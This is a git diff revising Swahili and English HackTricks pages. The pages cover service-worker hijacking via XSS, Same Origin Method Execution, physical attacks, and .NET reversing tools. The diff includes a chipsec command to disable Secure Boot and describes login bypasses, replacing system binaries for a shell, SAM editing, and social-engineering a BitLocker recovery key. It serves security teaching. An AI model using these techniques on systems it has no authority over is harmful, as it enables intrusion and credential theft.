Na hii ndiyo code itakayoweza **kuandikisha mfanyakazi** (code ambayo unapaswa kuwa na uwezo wa kuitekeleza kwa kutumia **XSS**). Katika kesi hii, ombi la **GET** litatumwa kwa seva ya **washambuliaji** **kuarifu** ikiwa **kuandikishwa** kwa mfanyakazi wa huduma kulifanikiwa au la:
|
||||
Na hii ndiyo code itakayoweza **kuandikisha mfanyakazi** (code unapaswa kuwa na uwezo wa kuendesha ukiitumia **XSS**). Katika kesi hii, ombi la **GET** litatumwa kwa seva ya **washambuliaji** **kuarifu** ikiwa **kuandikishwa** kwa mfanyakazi wa huduma kulifanikiwa au la:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
|
@ -116,12 +105,6 @@ Kwa mfano wa hili angalia kiungo cha rejea.
|
|||
|
||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||
|
||||
**Jaribu Kikundi cha Usalama wa Juu**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -15,52 +15,38 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya kutafuta inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia ikiwa kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Same Origin Method Execution
|
||||
|
||||
Kutakuwa na matukio ambapo unaweza kutekeleza javascript kidogo kwenye ukurasa. Kwa mfano, katika kesi ambapo unaweza [**kudhibiti thamani ya callback ambayo itatekelezwa**](./#javascript-function).
|
||||
Kutakuwa na matukio ambapo unaweza kutekeleza javascript fulani katika ukurasa. Kwa mfano, katika kesi ambapo unaweza [**kudhibiti thamani ya callback ambayo itatekelezwa**](./#javascript-function).
|
||||
|
||||
Katika hizo kesi, moja ya mambo bora unayoweza kufanya ni **kufikia DOM ili kuita chochote** kitendo nyeti unachoweza kukutana nacho huko (kama kubonyeza kitufe). Hata hivyo, kawaida utapata udhaifu huu katika **mipaka midogo bila kitu chochote cha kuvutia katika DOM**.
|
||||
Katika hizo kesi, moja ya mambo bora unayoweza kufanya ni **kufikia DOM ili kuita chochote** kitendo nyeti unachoweza kukiona huko (kama kubofya kitufe). Hata hivyo, kawaida utapata hii udhaifu katika **nukta ndogo bila kitu chochote cha kuvutia katika DOM**.
|
||||
|
||||
Katika hali hizo, shambulio hili litakuwa la manufaa sana, kwa sababu lengo lake ni kuwa na uwezo wa **kutumia utekelezaji wa JS mdogo ndani ya DOM kutoka ukurasa tofauti kutoka kwenye kikoa kimoja** na vitendo vingi vya kuvutia.
|
||||
Katika hizo hali, shambulio hili litakuwa la manufaa sana, kwa sababu lengo lake ni kuwa na uwezo wa **kudhulumu utekelezaji wa JS mdogo ndani ya DOM kutoka ukurasa tofauti kutoka kwa eneo moja** na vitendo vingi vya kuvutia.
|
||||
|
||||
Kimsingi, mtiririko wa shambulio ni kama ifuatavyo:
|
||||
|
||||
* Pata **callback ambayo unaweza kutumia** (inaweza kuwa na mipaka kwa \[\w\\.\_]).
|
||||
* Ikiwa haijapunguzika na unaweza kutekeleza JS yoyote, unaweza tu kutumia hii kama XSS ya kawaida.
|
||||
* Pata **callback ambayo unaweza kudhulumu** (inaweza kuwa na mipaka kwa \[\w\\.\_]).
|
||||
* Ikiwa haijapunguzika na unaweza kutekeleza JS yoyote, unaweza tu kudhulumu hii kama XSS ya kawaida.
|
||||
* Fanya **mhusika afungue ukurasa** unaodhibitiwa na **mshambuliaji**.
|
||||
* **Ukurasa utafungua mwenyewe** katika **dirisha tofauti** (dirisha jipya litakuwa na kitu **`opener`** kinachorejelea cha awali).
|
||||
* **Ukurasa wa awali** utafungua **ukurasa** ambapo **DOM ya kuvutia** iko.
|
||||
* **Ukurasa wa pili** utafungua **ukurasa dhaifu ukitumia callback** na kutumia kitu **`opener`** ili **kufikia na kutekeleza kitendo fulani katika ukurasa wa awali** (ambayo sasa ina DOM ya kuvutia).
|
||||
* **Ukurasa wa pili** utafungua **ukurasa dhaifu ukidhulumu callback** na kutumia kitu **`opener`** ili **kufikia na kutekeleza kitendo fulani katika ukurasa wa awali** (ambayo sasa ina DOM ya kuvutia).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Kumbuka kwamba hata kama ukurasa wa awali unapata URL mpya baada ya kuunda ukurasa wa pili, **kitu cha `opener` cha ukurasa wa pili bado ni rejeleo halali kwa ukurasa wa kwanza katika DOM mpya**.
|
||||
|
||||
Zaidi ya hayo, ili ukurasa wa pili uweze kutumia kitu cha opener **mipaka yote inapaswa kuwa katika asili moja**. Hii ndiyo sababu, ili kutumia udhaifu huu, unahitaji kupata aina fulani ya **XSS katika asili moja**.
|
||||
Zaidi ya hayo, ili ukurasa wa pili uweze kutumia kitu cha opener **kurasa zote mbili lazima ziwe katika eneo moja**. Hii ndiyo sababu, ili kudhulumu udhaifu huu, unahitaji kupata aina fulani ya **XSS katika eneo moja**.
|
||||
{% endhint %}
|
||||
|
||||
### Exploitation
|
||||
|
||||
* Unaweza kutumia fomu hii ili **kuunda PoC** ya kutumia aina hii ya udhaifu: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* Ili kupata njia ya DOM kwa kipengele cha HTML kwa kubonyeza unaweza kutumia nyongeza hii ya kivinjari: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
* Unaweza kutumia fomu hii ili **kuunda PoC** ya kudhulumu aina hii ya udhaifu: [https://www.someattack.com/Playground/SOMEGenerator](https://www.someattack.com/Playground/SOMEGenerator)
|
||||
* Ili kupata njia ya DOM kwa kipengele cha HTML kwa kubofya unaweza kutumia nyongeza hii ya kivinjari: [https://www.someattack.com/Playground/targeting\_tool](https://www.someattack.com/Playground/targeting\_tool)
|
||||
|
||||
### Example
|
||||
|
||||
* Unaweza kupata mfano dhaifu katika [https://www.someattack.com/Playground/](https://www.someattack.com/Playground/)
|
||||
* Kumbuka kwamba katika mfano huu server inafanya **kuunda msimbo wa javascript** na **kuongeza** kwenye HTML kulingana na **maudhui ya parameter ya callback:** `<script>opener.{callbacl_content}</script>`. Ndio maana katika mfano huu huwezi kuhitaji kuonyesha matumizi ya `opener` wazi.
|
||||
* Kumbuka kwamba katika mfano huu server in **aunda msimbo wa javascript** na **kuongeza** kwenye HTML kulingana na **maudhui ya parameter ya callback:** `<script>opener.{callbacl_content}</script>`. Ndio maana katika mfano huu huhitaji kuashiria matumizi ya `opener` wazi.
|
||||
* Pia angalia andiko hili la CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068)
|
||||
|
||||
## References
|
||||
|
|
|
|||
|
|
@ -1,109 +1,83 @@
|
|||
# Mashambulizi ya Kimwili
|
||||
# Physical Attacks
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
## BIOS Password Recovery and System Security
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
**Kurekebisha BIOS** kunaweza kufanywa kwa njia kadhaa. Bodi nyingi za mama zina **betri** ambayo, ikiondolewa kwa takriban **dakika 30**, itarejesha mipangilio ya BIOS, ikiwa ni pamoja na nenosiri. Vinginevyo, **jumper kwenye bodi ya mama** inaweza kubadilishwa ili kurekebisha mipangilio hii kwa kuunganisha pini maalum.
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** za kuangalia ikiwa kampuni au wateja wake wamekuwa **wameathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
---
|
||||
|
||||
## Urejeleaji wa Nenosiri la BIOS na Usalama wa Mfumo
|
||||
|
||||
**Kurekebisha BIOS** kunaweza kufanywa kwa njia kadhaa. Karamu nyingi za mama zina **betri** ambayo, ikiondolewa kwa takriban **dakika 30**, itarejesha mipangilio ya BIOS, ikiwa ni pamoja na nenosiri. Vinginevyo, **jumper kwenye karamu ya mama** inaweza kubadilishwa ili kurejesha mipangilio hii kwa kuunganisha pini maalum.
|
||||
|
||||
Kwa hali ambapo marekebisho ya vifaa hayawezekani au si ya vitendo, **zana za programu** zinatoa suluhisho. Kuendesha mfumo kutoka kwa **Live CD/USB** na usambazaji kama **Kali Linux** kunatoa ufikiaji wa zana kama **_killCmos_** na **_CmosPWD_**, ambazo zinaweza kusaidia katika urejeleaji wa nenosiri la BIOS.
|
||||
Kwa hali ambapo marekebisho ya vifaa hayawezekani au si rahisi, **zana za programu** zinatoa suluhisho. Kuendesha mfumo kutoka kwa **Live CD/USB** na usambazaji kama **Kali Linux** kunatoa ufikiaji wa zana kama **_killCmos_** na **_CmosPWD_**, ambazo zinaweza kusaidia katika urejeleaji wa nenosiri la BIOS.
|
||||
|
||||
Katika matukio ambapo nenosiri la BIOS halijulikani, kuingiza kwa makosa **maradufu tatu** kawaida husababisha nambari ya kosa. Nambari hii inaweza kutumika kwenye tovuti kama [https://bios-pw.org](https://bios-pw.org) ili kupata nenosiri linaloweza kutumika.
|
||||
|
||||
### Usalama wa UEFI
|
||||
### UEFI Security
|
||||
|
||||
Kwa mifumo ya kisasa inayotumia **UEFI** badala ya BIOS ya jadi, zana **chipsec** inaweza kutumika kuchambua na kubadilisha mipangilio ya UEFI, ikiwa ni pamoja na kuzima **Secure Boot**. Hii inaweza kufanywa kwa amri ifuatayo:
|
||||
|
||||
`python chipsec_main.py -module exploits.secure.boot.pk`
|
||||
|
||||
### Uchambuzi wa RAM na Mashambulizi ya Cold Boot
|
||||
### RAM Analysis and Cold Boot Attacks
|
||||
|
||||
RAM huhifadhi data kwa muda mfupi baada ya nguvu kukatwa, kawaida kwa **dakika 1 hadi 2**. Ustahimilivu huu unaweza kupanuliwa hadi **dakika 10** kwa kutumia vitu baridi, kama nitrojeni ya kioevu. Wakati wa kipindi hiki kirefu, **memory dump** inaweza kuundwa kwa kutumia zana kama **dd.exe** na **volatility** kwa uchambuzi.
|
||||
|
||||
### Mashambulizi ya Upatikanaji wa Kumbukumbu ya Moja kwa Moja (DMA)
|
||||
### Direct Memory Access (DMA) Attacks
|
||||
|
||||
**INCEPTION** ni zana iliyoundwa kwa ajili ya **manipulation ya kumbukumbu ya kimwili** kupitia DMA, inayofaa na interfaces kama **FireWire** na **Thunderbolt**. Inaruhusu kupita taratibu za kuingia kwa kubadilisha kumbukumbu ili kukubali nenosiri lolote. Hata hivyo, haiwezi kufanya kazi dhidi ya mifumo ya **Windows 10**.
|
||||
**INCEPTION** ni zana iliyoundwa kwa ajili ya **manipulation ya kumbukumbu ya kimwili** kupitia DMA, inayoendana na interfaces kama **FireWire** na **Thunderbolt**. Inaruhusu kupita taratibu za kuingia kwa kubadilisha kumbukumbu ili kukubali nenosiri lolote. Hata hivyo, haiwezi kufanya kazi dhidi ya mifumo ya **Windows 10**.
|
||||
|
||||
### Live CD/USB kwa Ufikiaji wa Mfumo
|
||||
### Live CD/USB for System Access
|
||||
|
||||
Kubadilisha binaries za mfumo kama **_sethc.exe_** au **_Utilman.exe_** kwa nakala ya **_cmd.exe_** kunaweza kutoa dirisha la amri lenye mamlaka ya mfumo. Zana kama **chntpw** zinaweza kutumika kuhariri faili ya **SAM** ya usakinishaji wa Windows, kuruhusu mabadiliko ya nenosiri.
|
||||
|
||||
**Kon-Boot** ni zana inayorahisisha kuingia kwenye mifumo ya Windows bila kujua nenosiri kwa kubadilisha kwa muda kernel ya Windows au UEFI. Taarifa zaidi zinaweza kupatikana kwenye [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/).
|
||||
|
||||
### Kushughulikia Vipengele vya Usalama wa Windows
|
||||
### Handling Windows Security Features
|
||||
|
||||
#### Mifupisho ya Boot na Urejeleaji
|
||||
#### Boot and Recovery Shortcuts
|
||||
|
||||
- **Supr**: Fikia mipangilio ya BIOS.
|
||||
- **F8**: Ingia katika hali ya Urejeleaji.
|
||||
- Kubonyeza **Shift** baada ya bendera ya Windows kunaweza kupita autologon.
|
||||
|
||||
#### Vifaa vya BAD USB
|
||||
#### BAD USB Devices
|
||||
|
||||
Vifaa kama **Rubber Ducky** na **Teensyduino** vinatumika kama majukwaa ya kuunda **bad USB** vifaa, vinavyoweza kutekeleza payload zilizowekwa awali zinapounganishwa na kompyuta lengwa.
|
||||
Vifaa kama **Rubber Ducky** na **Teensyduino** vinatumika kama majukwaa ya kuunda **bad USB** devices, zenye uwezo wa kutekeleza payload zilizowekwa wakati zinapounganishwa na kompyuta lengwa.
|
||||
|
||||
#### Nakala ya Kivolumu Kivuli
|
||||
#### Volume Shadow Copy
|
||||
|
||||
Mamlaka ya msimamizi yanaruhusu kuunda nakala za faili nyeti, ikiwa ni pamoja na faili ya **SAM**, kupitia PowerShell.
|
||||
|
||||
### Kupita Usimbaji wa BitLocker
|
||||
### Bypassing BitLocker Encryption
|
||||
|
||||
Usimbaji wa BitLocker unaweza kupitishwa ikiwa **nenosiri la urejeleaji** linapatikana ndani ya faili ya memory dump (**MEMORY.DMP**). Zana kama **Elcomsoft Forensic Disk Decryptor** au **Passware Kit Forensic** zinaweza kutumika kwa kusudi hili.
|
||||
BitLocker encryption inaweza kupita ikiwa **nenosiri la urejeleaji** linapatikana ndani ya faili ya memory dump (**MEMORY.DMP**). Zana kama **Elcomsoft Forensic Disk Decryptor** au **Passware Kit Forensic** zinaweza kutumika kwa kusudi hili.
|
||||
|
||||
### Uhandisi wa Kijamii kwa Kuongeza Nenosiri la Urejeleaji
|
||||
### Social Engineering for Recovery Key Addition
|
||||
|
||||
Nenosiri jipya la urejeleaji la BitLocker linaweza kuongezwa kupitia mbinu za uhandisi wa kijamii, kumshawishi mtumiaji kutekeleza amri inayoongeza nenosiri jipya lililotengenezwa kwa sifuri, hivyo kurahisisha mchakato wa ufichuzi.
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** za kuangalia ikiwa kampuni au wateja wake wamekuwa **wameathiriwa** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na kuchukuliwa kwa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
Nenosiri jipya la urejeleaji la BitLocker linaweza kuongezwa kupitia mbinu za ushirikiano wa kijamii, kumshawishi mtumiaji kutekeleza amri inayoongeza nenosiri jipya lililotengenezwa kwa sifuri, hivyo kurahisisha mchakato wa ufichuzi.
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Generic
|
||||
|
||||
### Networking
|
||||
|
|
@ -157,12 +149,6 @@ The malware will unmap the legitimate code from memory of the process and load a
|
|||
* **EAT** (**Export Address Table**) Hooks. This hooks can be done from **userland**. The goal is to hook exported functions by DLLs.
|
||||
* **Inline Hooks**: This type are difficult to achieve. This involve modifying the code of the functions itself. Maybe by putting a jump at the beginning of this.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
|||
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## ImGui Based Reversing tools
|
||||
|
||||
Software:
|
||||
|
|
@ -46,29 +38,29 @@ Software:
|
|||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
dotPeek ni decompiler inayoweza **ku-decompile na kuchunguza muundo mbalimbali**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **programu** (.exe). Mara baada ya ku-decompile, mkusanyiko unaweza kuhifadhiwa kama mradi wa Visual Studio (.csproj).
|
||||
dotPeek ni decompiler ambayo **ina-decompile na kuchunguza muundo mbalimbali**, ikiwa ni pamoja na **maktaba** (.dll), **faili za metadata za Windows** (.winmd), na **programu** (.exe). Mara baada ya ku-decompile, mkusanyiko unaweza kuhifadhiwa kama mradi wa Visual Studio (.csproj).
|
||||
|
||||
Faida hapa ni kwamba ikiwa msimbo wa chanzo uliopotea unahitaji kurekebishwa kutoka kwa mkusanyiko wa zamani, hatua hii inaweza kuokoa muda. Zaidi, dotPeek inatoa urahisi wa kuvinjari katika msimbo ulio decompiled, na kuifanya kuwa moja ya zana bora kwa **uchambuzi wa algorithm za Xamarin.**
|
||||
|
||||
### [.NET Reflector](https://www.red-gate.com/products/reflector/)
|
||||
|
||||
Kwa mfano wa kina wa kuongeza na API inayopanua zana ili kukidhi mahitaji yako halisi, .NET reflector inaokoa muda na kurahisisha maendeleo. Hebu tuangalie wingi wa huduma za uhandisi wa nyuma zana hii inatoa:
|
||||
Kwa mfano wa kina wa kuongeza na API inayopanua zana ili kufaa mahitaji yako halisi, .NET reflector inaokoa muda na kurahisisha maendeleo. Hebu tuangalie wingi wa huduma za uhandisi wa nyuma ambazo zana hii inatoa:
|
||||
|
||||
* Inatoa mwanga juu ya jinsi data inavyopita kupitia maktaba au kipengee
|
||||
* Inatoa mwanga juu ya utekelezaji na matumizi ya lugha na mifumo ya .NET
|
||||
* Inapata kazi zisizoandikwa na zisizoonyeshwa ili kupata zaidi kutoka kwa APIs na teknolojia zinazotumika.
|
||||
* Inapata utegemezi na mkusanyiko tofauti
|
||||
* Inafuatilia mahali halisi pa makosa katika msimbo wako, vipengee vya wahusika wengine, na maktaba.
|
||||
* Inafuatilia mahali halisi pa makosa katika msimbo wako, vipengee vya watu wengine, na maktaba.
|
||||
* Inarekebisha kwenye chanzo cha msimbo wote wa .NET unayofanya kazi nao.
|
||||
|
||||
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
|
||||
|
||||
[ILSpy plugin for Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Unaweza kuwa nayo katika OS yoyote (unaweza kuisakinisha moja kwa moja kutoka VSCode, hakuna haja ya kupakua git. Bonyeza kwenye **Extensions** na **tafuta ILSpy**).\
|
||||
Ikiwa unahitaji **ku-decompile**, **kubadilisha** na **ku-recompile** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au tawi linaloendelea kudumishwa la hiyo, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Bonyeza kulia -> Badilisha Mbinu** kubadilisha kitu ndani ya kazi).
|
||||
Ikiwa unahitaji **ku-decompile**, **kubadilisha** na **ku-recompile** tena unaweza kutumia [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) au tawi linaloendelea kudumishwa la hiyo, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Bonyeza kulia -> Badilisha Njia** kubadilisha kitu ndani ya kazi).
|
||||
|
||||
### DNSpy Logging
|
||||
|
||||
Ili kufanya **DNSpy iandike baadhi ya taarifa katika faili**, unaweza kutumia kipande hiki:
|
||||
Ili kufanya **DNSpy iandike baadhi ya habari katika faili**, unaweza kutumia kipande hiki:
|
||||
```cs
|
||||
using System.IO;
|
||||
path = "C:\\inetpub\\temp\\MyTest2.txt";
|
||||
|
|
@ -99,31 +91,31 @@ Kisha hifadhi faili mpya kupitia _**File >> Save module...**_:
|
|||
|
||||
.png>)
|
||||
|
||||
Hii ni muhimu kwa sababu ikiwa hufanyi hivi, wakati wa **runtime** **optimisations** kadhaa zitawekwa kwenye msimbo na inaweza kuwa inawezekana kwamba wakati wa kuboresha **break-point haitagwa kamwe** au baadhi ya **variables hazipo**.
|
||||
Hii ni muhimu kwa sababu ikiwa hufanyi hivi, wakati wa **runtime** **optimisations** kadhaa zitawekwa kwenye msimbo na inaweza kuwa inawezekana kwamba wakati wa kuangalia **break-point haitagwa kamwe** au baadhi ya **variables hazipo**.
|
||||
|
||||
Kisha, ikiwa programu yako ya .NET inatekelezwa na **IIS** unaweza **kuanzisha upya** kwa:
|
||||
Kisha, ikiwa programu yako ya .NET inatekelezwa na **IIS** unaweza **restart** kwa:
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
Then, in order to start debugging you should close all the opened files and inside the **Debug Tab** select **Attach to Process...**:
|
||||
Kisha, ili kuanza kufuatilia makosa unapaswa kufunga faili zote zilizofunguliwa na ndani ya **Debug Tab** chagua **Attach to Process...**:
|
||||
|
||||
.png>)
|
||||
|
||||
Then select **w3wp.exe** to attach to the **IIS server** and click **attach**:
|
||||
Kisha chagua **w3wp.exe** kuungana na **IIS server** na bonyeza **attach**:
|
||||
|
||||
.png>)
|
||||
|
||||
Now that we are debugging the process, it's time to stop it and load all the modules. First click on _Debug >> Break All_ and then click on _**Debug >> Windows >> Modules**_:
|
||||
Sasa kwamba tunafuatilia mchakato, ni wakati wa kuusitisha na kupakia moduli zote. Kwanza bonyeza _Debug >> Break All_ kisha bonyeza _**Debug >> Windows >> Modules**_:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Click any module on **Modules** and select **Open All Modules**:
|
||||
Bonyeza moduli yoyote kwenye **Modules** na chagua **Open All Modules**:
|
||||
|
||||
.png>)
|
||||
|
||||
Right click any module in **Assembly Explorer** and click **Sort Assemblies**:
|
||||
Bonyeza kulia moduli yoyote kwenye **Assembly Explorer** na bonyeza **Sort Assemblies**:
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -136,44 +128,44 @@ Right click any module in **Assembly Explorer** and click **Sort Assemblies**:
|
|||
|
||||
### Using IDA
|
||||
|
||||
* **Load rundll32** (64bits in C:\Windows\System32\rundll32.exe and 32 bits in C:\Windows\SysWOW64\rundll32.exe)
|
||||
* Select **Windbg** debugger
|
||||
* Select "**Suspend on library load/unload**"
|
||||
